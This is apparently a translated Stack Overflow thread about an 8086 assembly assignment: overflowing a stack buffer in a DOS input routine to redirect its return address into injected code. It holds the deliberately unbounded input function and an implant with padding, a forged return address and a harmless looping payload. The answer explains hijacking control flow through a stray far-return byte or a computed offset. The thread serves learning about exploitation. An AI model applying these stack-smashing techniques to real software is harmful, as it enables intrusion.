【问题标题】:(Assembly 8086) How can I return from a function to a different segment?(程序集 8086)如何从函数返回到不同的段?
【发布时间】:2026-01-19 17:50:01
【问题描述】:

我得到了写程序的任务。一种从用户那里获取输入,使用一个在堆栈上分配一个字符串的函数,一次写入一个字符,直到它得到一个“Enter”。而另一个程序利用了第一个漏洞,通过堆栈溢出,改变了函数的返回地址,并将其指向恶意代码(我将其写入堆栈)。

我的问题是该函数没有返回到我放入堆栈(在 StackSegment 中)的地址,而是只返回到 CodeSegment 中的地址。 这是获取输入的函数:(printStr 函数从堆栈中打印)

getStr PROC
push bp
mov bp, sp
add bp, 2

push ax
push dx
push di
push ds

sub sp, 10

mov di, sp
mov ah, 01
strToStack:
    int 21h
    cmp al, 0dh
    je endLoop
    mov byte ptr ss:[di], al
    inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'

lea dx, new_line
mov ah, 09
int 21h

push ss
pop ds
push sp
call printStr

add sp, 10

pop ds
pop di
pop dx
pop ax
pop bp

ret
endp

这是将恶意代码写入文本文件的程序,我将其用于第一个程序:

.model small
.stack 100
.code
main proc
    push @data
    pop ds

    push ds
    push cs
    pop ds

    lea dx, implant
    mov ah, 09
    int 21h

    pop ds

    exit:
    mov ah, 4ch
    int 21h
endp
implant:
blank   db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address    dd 0066h, 3182h
mov ah, 2
    mov dl, '@'
    loopy:
        int 21h
    jmp loopy
finish  db  0dh,'$'
end main

【问题讨论】:

  • 如果允许修改程序,则可以使用远返回,那么返回地址也将包含该段。
  • 要从远程调用返回,请使用远程返回。

标签: assembly stack stack-overflow x86-16


【解决方案1】:

如果您不允许修改代码,则在代码段的任何位置搜索 0CBh 或 0CAh 字节。这些是远返回指令,但它们实际上并没有被代码用于该目的。您只需要找到具有这些值中的任何一个的字节。更改函数的近返回地址(堆栈上的单个 16 位值),使其返回到该字节,然后在堆栈上放置恶意代码的偏移量和段。

请注意,0CAh 字节是远返回的 RET imm16 形式,这会导致它从堆栈中弹出参数。如果您使用此字节,您可能需要重新调整堆栈。

如果您找不到 0CBh/0CAh 字节,那么如果您知道堆栈段离代码段不太远,那么您还有另一个选择。您可以使用代码在堆栈上相对于代码段的偏移量作为近返回地址。因此,如果堆栈段位于 3182h,代码段位于 3040h(随机选择一个数字),并且您的代码位于堆栈段中的偏移量 64h,那么您的代码位于代码段中的偏移量(3182h - 3040h) * 16 + 64h = 1484h。在这种情况下,您可以将返回地址替换为 1484h 而不是 3182h:0066h。

如果您都无法使用这些选项,那么我想不出任何其他明显的解决方案。其他标准堆栈粉碎技术可能不适用。也许return oriented programming,但您的目标可执行文件中可能没有标准库,并且可能没有很多代码可以借用。 (虽然后者暗示堆栈段应该远离代码段。)

【讨论】:

    最近更新 更多